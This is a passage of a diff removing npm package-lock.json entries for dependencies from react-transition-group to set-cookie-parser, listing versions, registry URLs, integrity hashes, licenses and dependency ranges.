^19.0.0" - } - }, - "node_modules/react-transition-group": { - "version": "4.4.5", - "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.5.tgz", - "integrity": "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==", - "license": "BSD-3-Clause", - "dependencies": { - "@babel/runtime": "^7.5.5", - "dom-helpers": "^5.0.1", - "loose-envify": "^1.4.0", - "prop-types": "^15.6.2" - }, - "peerDependencies": { - "react": ">=16.6.0", - "react-dom": ">=16.6.0" - } - }, - "node_modules/read-binary-file-arch": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/read-binary-file-arch/-/read-binary-file-arch-1.0.6.tgz", - "integrity": "sha512-BNg9EN3DD3GsDXX7Aa8O4p92sryjkmzYYgmgTAc6CA4uGLEDzFfxOxugu21akOxpcXHiEgsYkC6nPsQvLLLmEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "debug": "^4.3.4" - }, - "bin": { - "read-binary-file-arch": "cli.js" - } - }, - "node_modules/readable-stream": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", - "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", - "license": "MIT", - "dependencies": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/readdirp": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz", - "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 14.18.0" - }, - "funding": { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/redent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", - "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", - "dev": true, - "license": "MIT", - "dependencies": { - "indent-string": "^4.0.0", - "strip-indent": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/reflect.getprototypeof": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", - "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.9", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.0.0", - "get-intrinsic": "^1.2.7", - "get-proto": "^1.0.1", - "which-builtin-type": "^1.2.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/refractor": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/refractor/-/refractor-5.0.0.tgz", - "integrity": "sha512-QXOrHQF5jOpjjLfiNk5GFnWhRXvxjUVnlFxkeDmewR5sXkr3iM46Zo+CnRR8B+MDVqkULW4EcLVcRBNOPXHosw==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/prismjs": "^1.0.0", - "hastscript": "^9.0.0", - "parse-entities": "^4.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/regexp.prototype.flags": { - "version": "1.5.4", - "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", - "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "define-properties": "^1.2.1", - "es-errors": "^1.3.0", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "set-function-name": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/rehype-raw": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-7.0.0.tgz", - "integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "hast-util-raw": "^9.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/rehype-sanitize": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/rehype-sanitize/-/rehype-sanitize-6.0.0.tgz", - "integrity": "sha512-CsnhKNsyI8Tub6L4sm5ZFsme4puGfc6pYylvXo1AeqaGbjOYyzNv3qZPwvs0oMJ39eryyeOdmxwUIo94IpEhqg==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "hast-util-sanitize": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-breaks": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/remark-breaks/-/remark-breaks-4.0.0.tgz", - "integrity": "sha512-IjEjJOkH4FuJvHZVIW0QCDWxcG96kCq7An/KVH2NfJe6rKZU2AsHeB3OEjPNRxi4QC34Xdx7I2KGYn6IpT7gxQ==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "mdast-util-newline-to-break": "^2.0.0", - "unified": "^11.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-gfm": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.1.tgz", - "integrity": "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "mdast-util-gfm": "^3.0.0", - "micromark-extension-gfm": "^3.0.0", - "remark-parse": "^11.0.0", - "remark-stringify": "^11.0.0", - "unified": "^11.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-parse": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz", - "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "mdast-util-from-markdown": "^2.0.0", - "micromark-util-types": "^2.0.0", - "unified": "^11.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-rehype": { - "version": "11.1.2", - "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.2.tgz", - "integrity": "sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==", - "license": "MIT", - "dependencies": { - "@types/hast": "^3.0.0", - "@types/mdast": "^4.0.0", - "mdast-util-to-hast": "^13.0.0", - "unified": "^11.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/remark-stringify": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-11.0.0.tgz", - "integrity": "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==", - "license": "MIT", - "dependencies": { - "@types/mdast": "^4.0.0", - "mdast-util-to-markdown": "^2.0.0", - "unified": "^11.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/require-from-string": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/requireindex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/requireindex/-/requireindex-1.1.0.tgz", - "integrity": "sha512-LBnkqsDE7BZKvqylbmn7lTIVdpx4K/QCduRATpO5R+wtPmky/a8pN1bO2D6wXppn1497AJF9mNjqAXr6bdl9jg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.5" - } - }, - "node_modules/resedit": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/resedit/-/resedit-1.7.2.tgz", - "integrity": "sha512-vHjcY2MlAITJhC0eRD/Vv8Vlgmu9Sd3LX9zZvtGzU5ZImdTN3+d6e/4mnTyV8vEbyf1sgNIrWxhWlrys52OkEA==", - "dev": true, - "license": "MIT", - "dependencies": { - "pe-library": "^0.4.1" - }, - "engines": { - "node": ">=12", - "npm": ">=6" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/jet2jet" - } - }, - "node_modules/resolve": { - "version": "2.0.0-next.7", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.7.tgz", - "integrity": "sha512-tqt+NBWwyaMgw3zDsnygx4CByWjQEJHOPMdslYhppaQSJUtL/D4JO9CcBBlhPoI8lz9oJIDXkwXfhF4aWqP8xQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "is-core-module": "^2.16.2", - "node-exports-info": "^1.6.0", - "object-keys": "^1.1.1", - "path-parse": "^1.0.7", - "supports-preserve-symlinks-flag": "^1.0.0" - }, - "bin": { - "resolve": "bin/resolve" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/resolve-alpn": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", - "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==", - "dev": true, - "license": "MIT" - }, - "node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/resolve-pkg-maps": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz", - "integrity": "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1" - } - }, - "node_modules/responselike": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", - "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", - "dev": true, - "license": "MIT", - "dependencies": { - "lowercase-keys": "^2.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/restore-cursor": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-5.1.0.tgz", - "integrity": "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==", - "dev": true, - "license": "MIT", - "dependencies": { - "onetime": "^7.0.0", - "signal-exit": "^4.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/rettime": { - "version": "0.11.11", - "resolved": "https://registry.npmjs.org/rettime/-/rettime-0.11.11.tgz", - "integrity": "sha512-ILJRqVWBCTlg9r42fFgwVZx1gnFAcQF8mRoMkbgQfIrjEDf9nbBFDFx00oloOa+Q869FUtaYDXZvEfnecQSCoQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/reusify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - "dev": true, - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rfdc": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", - "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", - "dev": true, - "license": "MIT" - }, - "node_modules/rimraf": { - "version": "2.6.3", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", - "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", - "deprecated": "Rimraf versions prior to v4 are no longer supported", - "dev": true, - "license": "ISC", - "peer": true, - "dependencies": { - "glob": "^7.1.3" - }, - "bin": { - "rimraf": "bin.js" - } - }, - "node_modules/roarr": { - "version": "2.15.4", - "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", - "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", - "dev": true, - "license": "BSD-3-Clause", - "optional": true, - "dependencies": { - "boolean": "^3.0.1", - "detect-node": "^2.0.4", - "globalthis": "^1.0.1", - "json-stringify-safe": "^5.0.1", - "semver-compare": "^1.0.0", - "sprintf-js": "^1.1.2" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/rolldown": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.3.tgz", - "integrity": "sha512-i00lAJ2ks1BYr7rjNjKC7BcqAS7nVfiT3QX1SI5aY+AFHblCmaUf9OE9dbdzDvW6dJxbi2ZCZiy9v3CcwOiX3g==", - "dependencies": { - "@oxc-project/types": "=0.133.0", - "@rolldown/pluginutils": "^1.0.0" - }, - "bin": { - "rolldown": "bin/cli.mjs" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "optionalDependencies": { - "@rolldown/binding-android-arm64": "1.0.3", - "@rolldown/binding-darwin-arm64": "1.0.3", - "@rolldown/binding-darwin-x64": "1.0.3", - "@rolldown/binding-freebsd-x64": "1.0.3", - "@rolldown/binding-linux-arm-gnueabihf": "1.0.3", - "@rolldown/binding-linux-arm64-gnu": "1.0.3", - "@rolldown/binding-linux-arm64-musl": "1.0.3", - "@rolldown/binding-linux-ppc64-gnu": "1.0.3", - "@rolldown/binding-linux-s390x-gnu": "1.0.3", - "@rolldown/binding-linux-x64-gnu": "1.0.3", - "@rolldown/binding-linux-x64-musl": "1.0.3", - "@rolldown/binding-openharmony-arm64": "1.0.3", - "@rolldown/binding-wasm32-wasi": "1.0.3", - "@rolldown/binding-win32-arm64-msvc": "1.0.3", - "@rolldown/binding-win32-x64-msvc": "1.0.3" - } - }, - "node_modules/rollup": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.61.1.tgz", - "integrity": "sha512-I4KW6iuRpuu2uHBLraZ1wNZe0DP7lnRha+VJ9tNaYVaVgKhW0aI3h4RYnoRPeql0flHm/Co55b7snEDcOfOJrA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.9" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.61.1", - "@rollup/rollup-android-arm64": "4.61.1", - "@rollup/rollup-darwin-arm64": "4.61.1", - "@rollup/rollup-darwin-x64": "4.61.1", - "@rollup/rollup-freebsd-arm64": "4.61.1", - "@rollup/rollup-freebsd-x64": "4.61.1", - "@rollup/rollup-linux-arm-gnueabihf": "4.61.1", - "@rollup/rollup-linux-arm-musleabihf": "4.61.1", - "@rollup/rollup-linux-arm64-gnu": "4.61.1", - "@rollup/rollup-linux-arm64-musl": "4.61.1", - "@rollup/rollup-linux-loong64-gnu": "4.61.1", - "@rollup/rollup-linux-loong64-musl": "4.61.1", - "@rollup/rollup-linux-ppc64-gnu": "4.61.1", - "@rollup/rollup-linux-ppc64-musl": "4.61.1", - "@rollup/rollup-linux-riscv64-gnu": "4.61.1", - "@rollup/rollup-linux-riscv64-musl": "4.61.1", - "@rollup/rollup-linux-s390x-gnu": "4.61.1", - "@rollup/rollup-linux-x64-gnu": "4.61.1", - "@rollup/rollup-linux-x64-musl": "4.61.1", - "@rollup/rollup-openbsd-x64": "4.61.1", - "@rollup/rollup-openharmony-arm64": "4.61.1", - "@rollup/rollup-win32-arm64-msvc": "4.61.1", - "@rollup/rollup-win32-ia32-msvc": "4.61.1", - "@rollup/rollup-win32-x64-gnu": "4.61.1", - "@rollup/rollup-win32-x64-msvc": "4.61.1", - "fsevents": "~2.3.2" - } - }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "queue-microtask": "^1.2.2" - } - }, - "node_modules/sade": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/sade/-/sade-1.8.1.tgz", - "integrity": "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==", - "license": "MIT", - "dependencies": { - "mri": "^1.1.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/safe-array-concat": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.4.tgz", - "integrity": "sha512-wtZlHyOje6OZTGqAoaDKxFkgRtkF9CnHAVnCHKfuj200wAgL+bSJhdsCD2l0Qx/2ekEXjPWcyKkfGb5CPboslg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.9", - "call-bound": "^1.0.4", - "get-intrinsic": "^1.3.0", - "has-symbols": "^1.1.0", - "isarray": "^2.0.5" - }, - "engines": { - "node": ">=0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/safe-push-apply": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz", - "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "isarray": "^2.0.5" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/safe-regex-test": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz", - "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "es-errors": "^1.3.0", - "is-regex": "^1.2.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/safe-stable-stringify": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", - "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "license": "MIT" - }, - "node_modules/sanitize-filename": { - "version": "1.6.4", - "resolved": "https://registry.npmjs.org/sanitize-filename/-/sanitize-filename-1.6.4.tgz", - "integrity": "sha512-9ZyI08PsvdQl2r/bBIGubpVdR3RR9sY6RDiWFPreA21C/EFlQhmgo20UZlNjZMMZNubusLhAQozkA0Od5J21Eg==", - "dev": true, - "license": "WTFPL OR ISC", - "dependencies": { - "truncate-utf8-bytes": "^1.0.0" - } - }, - "node_modules/sax": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.6.0.tgz", - "integrity": "sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA==", - "dev": true, - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=11.0.0" - } - }, - "node_modules/saxes": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", - "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", - "dev": true, - "license": "ISC", - "dependencies": { - "xmlchars": "^2.2.0" - }, - "engines": { - "node": ">=v12.22.7" - } - }, - "node_modules/scheduler": { - "version": "0.27.0", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", - "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", - "license": "MIT" - }, - "node_modules/scroll-into-view-if-needed": { - "version": "3.0.10", - "resolved": "https://registry.npmjs.org/scroll-into-view-if-needed/-/scroll-into-view-if-needed-3.0.10.tgz", - "integrity": "sha512-t44QCeDKAPf1mtQH3fYpWz8IM/DyvHLjs8wUvvwMYxk5moOqCzrMSxK6HQVD0QVmVjXFavoFIPRVrMuJPKAvtg==", - "license": "MIT", - "dependencies": { - "compute-scroll-into-view": "^3.0.2" - } - }, - "node_modules/semiver": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/semiver/-/semiver-1.1.0.tgz", - "integrity": "sha512-QNI2ChmuioGC1/xjyYwyZYADILWyW6AmS1UH6gDj/SFUUUS4MBAWs/7mxnkRPc/F4iHezDP+O8t0dO8WHiEOdg==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/semver": { - "version": "7.8.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.2.tgz", - "integrity": "sha512-c8jsqUZm3omBOI66G90z1Dyw5z622G8oLG+omfsHBJf3CWQTlOcwOjvOG6wtiNfW6anKm/eA39LMwMtMez2TiQ==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/semver-compare": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", - "integrity": "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/send": { - "version": "0.19.2", - "resolved": "https://registry.npmjs.org/send/-/send-0.19.2.tgz", - "integrity": "sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==", - "license": "MIT", - "dependencies": { - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "encodeurl": "~2.0.0", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "fresh": "~0.5.2", - "http-errors": "~2.0.1", - "mime": "1.6.0", - "ms": "2.1.3", - "on-finished": "~2.4.1", - "range-parser": "~1.2.1", - "statuses": "~2.0.2" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/send/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "license": "MIT", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/send/node_modules/debug/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", - "license": "MIT" - }, - "node_modules/serialize-error": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", - "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "type-fest": "^0.13.1" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/serialize-error/node_modules/type-fest": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", - "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", - "dev": true, - "license": "(MIT OR CC0-1.0)", - "optional": true, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/serve-static": { - "version": "1.16.3", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.3.tgz", - "integrity": "sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==", - "license": "MIT", - "dependencies": { - "encodeurl": "~2.0.0", - "escape-html": "~1.0.3", - "parseurl": "~1.3.3", - "send": "~0.19.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/set-cookie-parser": { - "version": "3.1.0", - "resolved": 